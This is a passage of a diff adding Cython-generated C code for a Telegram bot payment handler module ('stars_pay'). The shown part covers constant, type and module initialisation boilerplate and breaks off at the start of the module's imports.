__pyx_empty_bytes); if (unlikely(!__pyx_codeobj__27)) __PYX_ERR(0, 208, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":213 + * + * + * @router.message(F.successful_payment) # <<<<<<<<<<<<<< + * async def on_successful_payment( + * message: types.Message, + */ + __pyx_tuple__37 = PyTuple_Pack(4, __pyx_n_s_message, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__37)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__37); + __Pyx_GIVEREF(__pyx_tuple__37); + __pyx_codeobj__28 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__37, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_on_successful_payment, 213, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__28)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} +/* #### Code section: init_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitConstants(void) { + if (__Pyx_CreateStringTabAndInitStrings() < 0) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_float_0_0 = PyFloat_FromDouble(0.0); if (unlikely(!__pyx_float_0_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: init_globals ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitGlobals(void) { + return 0; +} +/* #### Code section: init_module ### */ + +static CYTHON_SMALL_CODE int __Pyx_modinit_global_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_import_code(void); /*proto*/ + +static int __Pyx_modinit_global_init_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_global_init_code", 0); + /*--- Global init code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_export_code", 0); + /*--- Variable export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_export_code", 0); + /*--- Function export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_type_init_code(void) { + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); + /*--- Type init code ---*/ + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars)) __PYX_ERR(0, 32, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars->tp_dictoffset && __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection)) __PYX_ERR(0, 102, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 102, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 102, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection->tp_dictoffset && __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount)) __PYX_ERR(0, 155, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount) < 0) __PYX_ERR(0, 155, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount) < 0) __PYX_ERR(0, 155, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount->tp_dictoffset && __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input)) __PYX_ERR(0, 170, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input) < 0) __PYX_ERR(0, 170, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input) < 0) __PYX_ERR(0, 170, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input->tp_dictoffset && __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query)) __PYX_ERR(0, 208, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query) < 0) __PYX_ERR(0, 208, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query) < 0) __PYX_ERR(0, 208, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query->tp_dictoffset && __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment)) __PYX_ERR(0, 213, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment) < 0) __PYX_ERR(0, 213, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment) < 0) __PYX_ERR(0, 213, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment->tp_dictoffset && __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} + +static int __Pyx_modinit_type_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_type_import_code", 0); + /*--- Type import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_import_code", 0); + /*--- Variable import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_import_code", 0); + /*--- Function import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + + +#if PY_MAJOR_VERSION >= 3 +#if CYTHON_PEP489_MULTI_PHASE_INIT +static PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def); /*proto*/ +static int __pyx_pymod_exec_stars_pay(PyObject* module); /*proto*/ +static PyModuleDef_Slot __pyx_moduledef_slots[] = { + {Py_mod_create, (void*)__pyx_pymod_create}, + {Py_mod_exec, (void*)__pyx_pymod_exec_stars_pay}, + {0, NULL} +}; +#endif + +#ifdef __cplusplus +namespace { + struct PyModuleDef __pyx_moduledef = + #else + static struct PyModuleDef __pyx_moduledef = + #endif + { + PyModuleDef_HEAD_INIT, + "stars_pay", + 0, /* m_doc */ + #if CYTHON_PEP489_MULTI_PHASE_INIT + 0, /* m_size */ + #elif CYTHON_USE_MODULE_STATE + sizeof(__pyx_mstate), /* m_size */ + #else + -1, /* m_size */ + #endif + __pyx_methods /* m_methods */, + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_moduledef_slots, /* m_slots */ + #else + NULL, /* m_reload */ + #endif + #if CYTHON_USE_MODULE_STATE + __pyx_m_traverse, /* m_traverse */ + __pyx_m_clear, /* m_clear */ + NULL /* m_free */ + #else + NULL, /* m_traverse */ + NULL, /* m_clear */ + NULL /* m_free */ + #endif + }; + #ifdef __cplusplus +} /* anonymous namespace */ +#endif +#endif + +#ifndef CYTHON_NO_PYINIT_EXPORT +#define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC +#elif PY_MAJOR_VERSION < 3 +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" void +#else +#define __Pyx_PyMODINIT_FUNC void +#endif +#else +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" PyObject * +#else +#define __Pyx_PyMODINIT_FUNC PyObject * +#endif +#endif + + +#if PY_MAJOR_VERSION < 3 +__Pyx_PyMODINIT_FUNC initstars_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC initstars_pay(void) +#else +__Pyx_PyMODINIT_FUNC PyInit_stars_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC PyInit_stars_pay(void) +#if CYTHON_PEP489_MULTI_PHASE_INIT +{ + return PyModuleDef_Init(&__pyx_moduledef); +} +static CYTHON_SMALL_CODE int __Pyx_check_single_interpreter(void) { + #if PY_VERSION_HEX >= 0x030700A1 + static PY_INT64_T main_interpreter_id = -1; + PY_INT64_T current_id = PyInterpreterState_GetID(PyThreadState_Get()->interp); + if (main_interpreter_id == -1) { + main_interpreter_id = current_id; + return (unlikely(current_id == -1)) ? -1 : 0; + } else if (unlikely(main_interpreter_id != current_id)) + #else + static PyInterpreterState *main_interpreter = NULL; + PyInterpreterState *current_interpreter = PyThreadState_Get()->interp; + if (!main_interpreter) { + main_interpreter = current_interpreter; + } else if (unlikely(main_interpreter != current_interpreter)) + #endif + { + PyErr_SetString( + PyExc_ImportError, + "Interpreter change detected - this module can only be loaded into one interpreter per process."); + return -1; + } + return 0; +} +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *module, const char* from_name, const char* to_name, int allow_none) +#else +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *moddict, const char* from_name, const char* to_name, int allow_none) +#endif +{ + PyObject *value = PyObject_GetAttrString(spec, from_name); + int result = 0; + if (likely(value)) { + if (allow_none || value != Py_None) { +#if CYTHON_COMPILING_IN_LIMITED_API + result = PyModule_AddObject(module, to_name, value); +#else + result = PyDict_SetItemString(moddict, to_name, value); +#endif + } + Py_DECREF(value); + } else if (PyErr_ExceptionMatches(PyExc_AttributeError)) { + PyErr_Clear(); + } else { + result = -1; + } + return result; +} +static CYTHON_SMALL_CODE PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def) { + PyObject *module = NULL, *moddict, *modname; + CYTHON_UNUSED_VAR(def); + if (__Pyx_check_single_interpreter()) + return NULL; + if (__pyx_m) + return __Pyx_NewRef(__pyx_m); + modname = PyObject_GetAttrString(spec, "name"); + if (unlikely(!modname)) goto bad; + module = PyModule_NewObject(modname); + Py_DECREF(modname); + if (unlikely(!module)) goto bad; +#if CYTHON_COMPILING_IN_LIMITED_API + moddict = module; +#else + moddict = PyModule_GetDict(module); + if (unlikely(!moddict)) goto bad; +#endif + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "loader", "__loader__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "origin", "__file__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "parent", "__package__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "submodule_search_locations", "__path__", 0) < 0)) goto bad; + return module; +bad: + Py_XDECREF(module); + return NULL; +} + + +static CYTHON_SMALL_CODE int __pyx_pymod_exec_stars_pay(PyObject *__pyx_pyinit_module) +#endif +#endif +{ + int stringtab_initialized = 0; + #if CYTHON_USE_MODULE_STATE + int pystate_addmodule_run = 0; + #endif + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + unsigned int __pyx_t_8; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + #if CYTHON_PEP489_MULTI_PHASE_INIT + if (__pyx_m) { + if (__pyx_m == __pyx_pyinit_module) return 0; + PyErr_SetString(PyExc_RuntimeError, "Module 'stars_pay' has already been imported. Re-initialisation is not supported."); + return -1; + } + #elif PY_MAJOR_VERSION >= 3 + if (__pyx_m) return __Pyx_NewRef(__pyx_m); + #endif + /*--- Module creation code ---*/ + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_m = __pyx_pyinit_module; + Py_INCREF(__pyx_m); + #else + #if PY_MAJOR_VERSION < 3 + __pyx_m = Py_InitModule4("stars_pay", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #elif CYTHON_USE_MODULE_STATE + __pyx_t_1 = PyModule_Create(&__pyx_moduledef); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) + { + int add_module_result = PyState_AddModule(__pyx_t_1, &__pyx_moduledef); + __pyx_t_1 = 0; /* transfer ownership from __pyx_t_1 to "stars_pay" pseudovariable */ + if (unlikely((add_module_result < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + pystate_addmodule_run = 1; + } + #else + __pyx_m = PyModule_Create(&__pyx_moduledef); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #endif + CYTHON_UNUSED_VAR(__pyx_t_1); + __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) + Py_INCREF(__pyx_d); + __pyx_b = __Pyx_PyImport_AddModuleRef(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_cython_runtime = __Pyx_PyImport_AddModuleRef((const char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 1, __pyx_L1_error) + if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if CYTHON_REFNANNY +__Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); +if (!__Pyx_RefNanny) { + PyErr_Clear(); + __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); + if (!__Pyx_RefNanny) + Py_FatalError("failed to import 'refnanny' module"); +} +#endif + __Pyx_RefNannySetupContext("__Pyx_PyMODINIT_FUNC PyInit_stars_pay(void)", 0); + if (__Pyx_check_binary_version(__PYX_LIMITED_VERSION_HEX, __Pyx_get_runtime_version(), CYTHON_COMPILING_IN_LIMITED_API) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pxy_PyFrame_Initialize_Offsets + __Pxy_PyFrame_Initialize_Offsets(); + #endif + __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pyx_CyFunction_USED + if (__pyx_CyFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_FusedFunction_USED + if (__pyx_FusedFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Coroutine_USED + if (__pyx_Coroutine_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Generator_USED + if (__pyx_Generator_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_AsyncGen_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_StopAsyncIteration_USED + if (__pyx_StopAsyncIteration_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + /*--- Library function declarations ---*/ + /*--- Threads initialization code ---*/ + #if defined(WITH_THREAD) && PY_VERSION_HEX < 0x030700F0 && defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS + PyEval_InitThreads(); + #endif + /*--- Initialize various global constants etc. ---*/ + if (__Pyx_InitConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + stringtab_initialized = 1; + if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) + if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + if (__pyx_module_is_main_handlers__payments__stars_pay) { + if (PyObject_SetAttr(__pyx_m, __pyx_n_s_name, __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + } + #if PY_MAJOR_VERSION >= 3 + { + PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) + if (!PyDict_GetItemString(modules, "handlers.payments.stars_pay")) { + if (unlikely((PyDict_SetItemString(modules, "handlers.payments.stars_pay", __pyx_m) < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + } + } + #endif + /*--- Builtin init code ---*/ + if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Constants init code ---*/ + if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Global type/function init code ---*/ + (void)__Pyx_modinit_global_init_code(); + (void)__Pyx_modinit_variable_export_code(); + (void)__Pyx_modinit_function_export_code(); + if (unlikely((__Pyx_modinit_type_init_code() < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + (void)__Pyx_modinit_type_import_code(); + (void)__Pyx_modinit_variable_import_code(); + (void)__Pyx_modinit_function_import_code(); + /*--- Execution code ---*/ + #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + + /* "handlers/payments/stars_pay.py":1 + * from typing import Any # <<<<<<<<<<<<<< + * + * from aiogram import F, Router, types + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_Any); + __Pyx_GIVEREF(__pyx_n_s_Any); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_Any)) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_typing, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_Any); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Any, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":3 + * from typing import Any + * + * from 